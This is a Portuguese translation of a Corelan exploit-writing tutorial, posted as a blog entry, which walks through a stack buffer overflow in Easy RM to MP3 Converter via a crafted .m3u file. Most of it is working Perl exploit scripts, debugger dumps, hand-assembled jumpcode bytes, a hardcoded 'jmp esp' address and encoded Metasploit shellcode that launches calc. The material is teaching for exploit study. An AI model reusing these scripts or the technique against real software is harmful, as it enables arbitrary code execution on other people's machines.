27 de dezembro de 2012

Stack Buffer Overflow - Jumping to Shellcode - parte 3

Tradução do original: https://www.corelan.be/index.php/2009/07/23/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-2/

Lidando com buffers pequenos: pulando para qualquer lugar com jumpcodes personalizados

Falamos sobre várias formas de fazer o EIP pular para nosso shellcode. Em todos os cenários, tivemos a facilidade de poder colocar este shellcode inteiro no buffer. Mas o que fazer se vermos que não temos espaço suficiente para armazenar todo o shellcode?

Em nosso exemplo, utilizamos 26094 bytes entes de sobrescrever EIP, e notamos que o EIP aponta para 26094+4 bytesm e que temos espaço de sobre desse ponto em diante. Mas o que fazer se tivermos apenas 50 bytes (ESP -> ESP+50 bytes)? O que fazer se nossos testes mostram que tudo o que foi escrito após esses 50 bytes não é útil? 50 bytes para armazenar nosso shellcode, não é muita coisa. Então precisamos encontrar uma forma para contornar isso. Então, talvez, possamos utilizaro os 26094 bytes que usamos para disparar o estouro de buffer.

Primeiro, precisamos encontrar estes 26094 bytes em algum lugar na memória. Se não pudermos encontrá-los, será difícil nos referenciarmos a eles. De fato, se conseguirmos encontrar esses bytes e descobrir que temos outro registrador apontando para eles (ou quase apontando), poder ser bem mais fácil colocar nosso shellcode lá.

Se você rodar alguns testes novamente contra o Easy RM to MP3, notará que partes dos 26094 bytes também estão visíveis no dump do ESP:

my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = "BBBB";
my $preshellcode = "X" x 54;  #supondo que só temos esse espaço disponível
my $nop = "\x90" x 230;  #adicionando alguns nops para separa nossos 54 X’s de outros dados
 
open($FILE,">$file");
print $FILE $junk.$eip.$preshellcode.$nop;
close($FILE);
print "Arquivo m3u criado com sucesso \n";

Após abrir o test1.m3u, temos isso:

eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=00006715
eip=42424242 esp=000ff730 ebp=003440c0 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
+0x42424231:
42424242 ??              ???
0:000> d esp
000ff730  58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
000ff740  58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
000ff750  58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
000ff760  58 58 90 90 90 90 90 90-90 90 90 90 90 90 90 90  XX..............
000ff770  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff780  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff790  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff7a0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0:000> d
000ff7b0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff7c0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff7d0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff7e0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff7f0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff800  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff810  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff820  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0:000> d
000ff830  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff840  90 90 90 90 90 90 90 90-00 41 41 41 41 41 41 41  .........AAAAAAA
000ff850  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff860  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff870  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff880  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff890  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff8a0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

Podemos ver nossos 50 X’s no ESP. Vamos supor que este é o único espaço disponível para o shellcode. Entretanto, quando olhamos mais abaixo na stack, podemos ver os A’s começando no endereço 000ff849 (=ESP+281).

Quando olhamos em outros registradores, não há traço dos X’s ou A’s (podemos fazer dump apenas de registradores, ou buscar por um número de A’s na memória).

Então é isso. Podemos pular para ESP para executar algum código, mas temos apenas 50 bytes para gastar com o shellcode. Também vemos outras partes de nosso buffer AM posições mais baixas na stack... de fato, quando continuamos o dump do conteúdo do ESP, temos um imenso buffer repleto de A’s...



Felizmente, há uma forma de armazenar o shellcode nos A’s e utilizar os X’s para pular para os A’s. Para fazer isso ocorrer, precisamos de duas coisas:

  • A posição dentro do buffer com 26094 A’s que agora é parte do ESP, em 000ff849 (“Onde os A’s mostra que o ESP realmente começa?” Se quisermos colocar nosso shellcode dentro dos A’s, precisamos saber onde exatamente é necessário colocá-lo)

  • Jumpcode: código que fará o jump dos X’s para os A’s. Este código não pode ser maior que 50 bytes (pois isso é tudo que temos disponível diretamente no ESP).

Podemos encontrar a posição exata utilizando suposições, padrões personalizados ou padrões do metasploit.

Utilizaremos um dos padrões do metasploit… começando com um pequeno (se procuramos a posição inicial dos A’s, não podemos começar com padrões grandes).

Gere um padrão de 1000 caracteres e substitua os primeiros 1000 caracteres no script Perl pelo padrão (e então adicione 25101 A’s):

my $file= "test1.m3u";
my $pattern = "Aa0Aa1Aa2Aa3Aa4Aa....g8Bg9Bh0Bh1Bh2B";
my $junk= "A" x 25101;
my $eip = "BBBB";
my $preshellcode = "X" x 54;  #supondo que só temos esse espaço disponível
my $nop = "\x90" x 230;  #adicionando alguns nops para separa nossos 54 X’s de outros dados
 
open($FILE,">$file");
print $FILE $pattern.$junk.$eip.$preshellcode.$nop;
close($FILE);
print "Arquivo m3u criado com sucesso \n";
 
eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=00006715
eip=42424242 esp=000ff730 ebp=003440c0 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
+0x42424231:
42424242 ??              ???
0:000> d esp
000ff730  58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
000ff740  58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
000ff750  58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
000ff760  58 58 90 90 90 90 90 90-90 90 90 90 90 90 90 90  XX..............
000ff770  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff780  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff790  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff7a0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0:000> d
000ff7b0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff7c0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff7d0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff7e0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff7f0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff800  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff810  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff820  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0:000> d
000ff830  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff840  90 90 90 90 90 90 90 90-00 35 41 69 36 41 69 37  .........5Ai6Ai7
000ff850  41 69 38 41 69 39 41 6a-30 41 6a 31 41 6a 32 41  Ai8Ai9Aj0Aj1Aj2A
000ff860  6a 33 41 6a 34 41 6a 35-41 6a 36 41 6a 37 41 6a  j3Aj4Aj5Aj6Aj7Aj
000ff870  38 41 6a 39 41 6b 30 41-6b 31 41 6b 32 41 6b 33  8Aj9Ak0Ak1Ak2Ak3
000ff880  41 6b 34 41 6b 35 41 6b-36 41 6b 37 41 6b 38 41  Ak4Ak5Ak6Ak7Ak8A
000ff890  6b 39 41 6c 30 41 6c 31-41 6c 32 41 6c 33 41 6c  k9Al0Al1Al2Al3Al
000ff8a0  34 41 6c 35 41 6c 36 41-6c 37 41 6c 38 41 6c 39  4Al5Al6Al7Al8Al9

O que vemos em 000ff849 é definitivamente parte do padrão. Os primeiro 4 caracteres são 5Ai6.



Utilizando o utilitário pattern_offset do metasploit, vemos que esses 4 caracteres estão no offset 257. Então ao invés de colocar 26094 A’s no arquivo, colocaremos 257 A’s, e então nosso shellcode, e preenchemos o restante dos 26094 caracteres com A’s novamente. Ou melhor, começamos com apenas 250 A’s, então 50 NOP’s, nosso shellcode, e então preenchemos o restante com A’s. Dessa forma, não precisamos ser tão específicos quando pular... Se pudermos acertar os NOP’s antes do shellcode, vai funcionar perfeitamente.

Vamos ver como o script e a stack se parecerão quando fizermos isso:

my $file= "test1.m3u";
my $buffersize = 26094;
 
my $junk= "A" x 250;
my $nop = "\x90" x 50;
my $shellcode = "\xcc";
 
my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));
 
my $eip = "BBBB";
my $preshellcode = "X" x 54;  # supondo que só temos esse espaço disponível
my $nop2 = "\x90" x 230;  # adicionando alguns nops para separa nossos 54 X’s de outros dados
 
my $buffer = $junk.$nop.$shellcode.$restofbuffer;
 
print "Tamanho do buffer: ".length($buffer)."\n";
 
open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$nop2;
close($FILE);
print "Arquivo m3u criado com sucesso\n";

Quando a aplicação morre, podemos ver nossos 50 NOP’s começando em 000ff848, seguidos pelo shellcode (0x90 em 000ff874), e então, novamente, seguido pelos A’s.

(188.c98): Access violation - code c0000005 (!!! Segunda chance !!!)
eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=00006715
eip=42424242 esp=000ff730 ebp=003440c0 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
+0x42424231:
42424242 ??              ???
0:000> d esp
000ff730  58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
000ff740  58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
000ff750  58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
000ff760  58 58 90 90 90 90 90 90-90 90 90 90 90 90 90 90  XX..............
000ff770  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff780  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff790  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff7a0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0:000> d
000ff7b0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff7c0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff7d0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff7e0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff7f0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff800  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff810  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff820  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0:000> d
000ff830  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff840  90 90 90 90 90 90 90 90-00 90 90 90 90 90 90 90  ................
000ff850  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff860  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff870  90 90 90 90 cc 41 41 41-41 41 41 41 41 41 41 41  .....AAAAAAAAAAA
000ff880  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff890  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff8a0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

A segunda coisa que precisamos fazer é construir nosso jumpcode que precisa ser colocado no ESP. O objetivo do jumpcode é pular para ESP+281.

Escrever jumpcode é tão fácil quanto escrever as declarações em assembly e depois traduzi-las para opcode (tendo certeza de que não temos nenhum nullbyte ou outros caracteres restritos ao mesmo tempo).

Pular para ESP+281 requeriria: adicionar 281 ao registrador ESP, e então realizar um jump esp. 281 = 119h. Não tente adicionar tudo de uma só vez, senão poderá acapcar com opcode que contém null bytes.

Já que temos alguma flexibilidade (devido aos NOP’s antes de nosso shellcode), não temos que ser tão precisos. Já que adicionaremos 281 (ou mais), ele irá funcionar. Temos 50 bytes para nosso jumpcode, mas isso não deve ser problema.

Vamos adicionar 0x5e (94) ao ESP, 3 vezes. Então fazer o jump para esp. Os comandos em assembly são:

  • add esp,0x5e
  • add esp,0x5e
  • add esp,0x5e
  • jmp esp

Usando o windbg, podemos ter o opcode:

0:014> a
7c901211 add esp,0x5e
add esp,0x5e
7c901214 add esp,0x5e
add esp,0x5e
7c901217 add esp,0x5e
add esp,0x5e
7c90121a jmp esp
jmp esp
7c90121c 
 
0:014> u 7c901211
ntdll!DbgBreakPoint+0x3:
7c901211 83c45e          add     esp,5Eh
7c901214 83c45e          add     esp,5Eh
7c901217 83c45e          add     esp,5Eh
7c90121a ffe4            jmp     esp

Ok, então o opcode para o jumpcode completo é:
0x83,0xc4,0x5e,0x83,0xc4,0x5e,0x83,0xc4,0x5e,0xff,0xe4

my $file= "test1.m3u";
my $buffersize = 26094;
 
my $junk= "A" x 250;
my $nop = "\x90" x 50;
my $shellcode = "\xcc";  #posição 300
 
my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));
 
my $eip = "BBBB";
my $preshellcode = "X" x 4;
my $jumpcode = "\x83\xc4\x5e" .   #add esp,0x5e
   "\x83\xc4\x5e" .               #add esp,0x5e
   "\x83\xc4\x5e" .               #add esp,0x5e
   "\xff\xe4";                    #jmp esp
 
my $nop2 = "0x90" x 10;   # apenas utilizado para seperara visualmente
 
my $buffer = $junk.$nop.$shellcode.$restofbuffer;
 
print "Size of buffer : ".length($buffer)."\n";
 
open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$jumpcode;
close($FILE);
print "Arquivo m3u criado com sucesso \n";

O jumpcode é perfeitamente colocado no ESP. Quando o shellcode é chamado, ESP apontaria para os NOP’s (entre 000ff842 e 000ff873). O shellcode começa em 000ff874:

(45c.f60): Access violation - code c0000005 (!!! second chance !!!)
eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=00006608
eip=42424242 esp=000ff730 ebp=003440c0 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
+0x42424231:
42424242 ??              ???
0:000> d esp
000ff730  83 c4 5e 83 c4 5e 83 c4-5e ff e4 00 01 00 00 00  ..^..^..^.......
000ff740  30 f7 0f 00 00 00 00 00-41 41 41 41 41 41 41 41  0.......AAAAAAAA
000ff750  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff760  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff770  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff780  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff790  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff7a0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0:000> d
000ff7b0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff7c0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff7d0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff7e0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff7f0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff800  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff810  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff820  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0:000> d
000ff830  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff840  41 41 90 90 90 90 90 90-90 90 90 90 90 90 90 90  AA..............
000ff850  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff860  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff870  90 90 90 90 cc 41 41 41-41 41 41 41 41 41 41 41  .....AAAAAAAAAAA
000ff880  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff890  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

A última coisa que precisamos fazer é sobrescrever o EIP com um “jmp esp”. Do primeiro tutorial, sabemos que isso pode ser conseguido através do endereço 0x01ccf23a.

O que acontecerá quando ocorrer a sobrecarga?

  • O shellcode real sera colocado na primeira parte da string que é enviada, e finalizará em ESP+300. O shellcode real é precedido por NOP’s para permitir o jump uma pequena margem de erro.

  • EIP será sobrescrito com 0x01ccf23a (aponta para uma dll, executa “jmp esp”).

  • Os dados após sobrescrever EIP serão sobrescritos com jumpcode que adiciona 282 ao ESP e então pula para esse endereço.

  • Após o payload ser enviado, EIP pulará para esp. Isso disparará o jump code para pular para ESP+282. NOP sled, e shellcode são executados.

Vamos tentar com um break como sendo o shellcode:

my $file= "test1.m3u";
my $buffersize = 26094;
 
my $junk= "A" x 250;
my $nop = "\x90" x 50;
my $shellcode = "\xcc";  #posição 300
 
my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));
 
my $eip = pack('V',0x01ccf23a);  #jmp esp de MSRMCcodec02.dll
 
my $preshellcode = "X" x 4;
my $jumpcode = "\x83\xc4\x5e" .   #add esp,0x5e
   "\x83\xc4\x5e" .               #add esp,0x5e
   "\x83\xc4\x5e" .               #add esp,0x5e
   "\xff\xe4";                    #jmp esp
 
my $buffer = $junk.$nop.$shellcode.$restofbuffer;
 
print "Size of buffer : ".length($buffer)."\n";
 
open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$jumpcode;
close($FILE);
print "Arquivo m3u criado com sucesso \n";

O arquivos m3u gerado, nos traz nosso shellcode (que é um break). (EIP = 0x000ff874 = início do shellcode).

(d5c.c64): Break instruction exception - code 80000003 (!!! second chance !!!)
eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=00006608
eip=000ff874 esp=000ff84a ebp=003440c0 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
+0xff863:
000ff874 cc              int     3
0:000> d esp
000ff84a  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff85a  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff86a  90 90 90 90 90 90 90 90-90 90 cc 41 41 41 41 41  ...........AAAAA
000ff87a  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff88a  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff89a  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff8aa  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff8ba  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

Substitua o break por algum shellcode real (e substitua os A’s por NOPs)… (shellcode: exclua caracteres 0x00, 0xff, 0xac, 0xca).

Quando você substitui os A’s pelos NOP’s, você terá mais espaço para pular nele, assim podemos utilizar um jumpcode que pula apenas 188 posições à frente (2 vezes 5e).

my $file= "test1.m3u";
my $buffersize = 26094;
 
my $junk= "\x90" x 200;
my $nop = "\x90" x 50;
 
# windows/exec - 303 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc
my $shellcode = "\x89\xe2\xd9\xeb\xd9\x72\xf4\x5b\x53\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4d" .
"\x38\x51\x54\x45\x50\x43\x30\x45\x50\x4c\x4b\x51\x55\x47" .
"\x4c\x4c\x4b\x43\x4c\x44\x45\x43\x48\x43\x31\x4a\x4f\x4c" .
"\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x51\x30\x45\x51\x4a" .
"\x4b\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x45\x51\x4a\x4e\x46" .
"\x51\x49\x50\x4a\x39\x4e\x4c\x4b\x34\x49\x50\x44\x34\x45" .
"\x57\x49\x51\x49\x5a\x44\x4d\x45\x51\x48\x42\x4a\x4b\x4c" .
"\x34\x47\x4b\x50\x54\x51\x34\x45\x54\x44\x35\x4d\x35\x4c" .
"\x4b\x51\x4f\x51\x34\x43\x31\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4b\x39\x51\x4c\x46" .
"\x44\x45\x54\x48\x43\x51\x4f\x46\x51\x4c\x36\x43\x50\x50" .
"\x56\x43\x54\x4c\x4b\x47\x36\x46\x50\x4c\x4b\x47\x30\x44" .
"\x4c\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c\x4b\x43\x58\x44" .
"\x48\x4d\x59\x4c\x38\x4d\x53\x49\x50\x42\x4a\x46\x30\x45" .
"\x38\x4c\x30\x4c\x4a\x45\x54\x51\x4f\x42\x48\x4d\x48\x4b" .
"\x4e\x4d\x5a\x44\x4e\x50\x57\x4b\x4f\x4b\x57\x42\x43\x43" .
"\x51\x42\x4c\x45\x33\x45\x50\x41\x41";
 
my $restofbuffer = "\x90" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));
 
my $eip = pack('V',0x01ccf23a);  #jmp esp de MSRMCcodec02.dll
 
my $preshellcode = "X" x 4; 
 
my $jumpcode = "\x83\xc4\x5e" .   #add esp,0x5e
   "\x83\xc4\x5e" .               #add esp,0x5e
   "\xff\xe4";                    #jmp esp
 
my $nop2 = "0x90" x 10;   # apenas usada para separação visual
 
my $buffer = $junk.$nop.$shellcode.$restofbuffer;
 
print "Tamanho do buffer : ".length($buffer)."\n";
 
open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$jumpcode;
close($FILE);
print "Arquivo m3u criado com sucesso\n";



Ownado novamente J


2 comentários:

  1. Respostas
    1. Se quiser, posso desenhar pra vc, mas vale dar uma lida na primeira linha lá em cima de novo, caso saiba ler :-)

      Tradução do original: https://www.corelan.be/index.php/2009/07/23/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-2/

      Excluir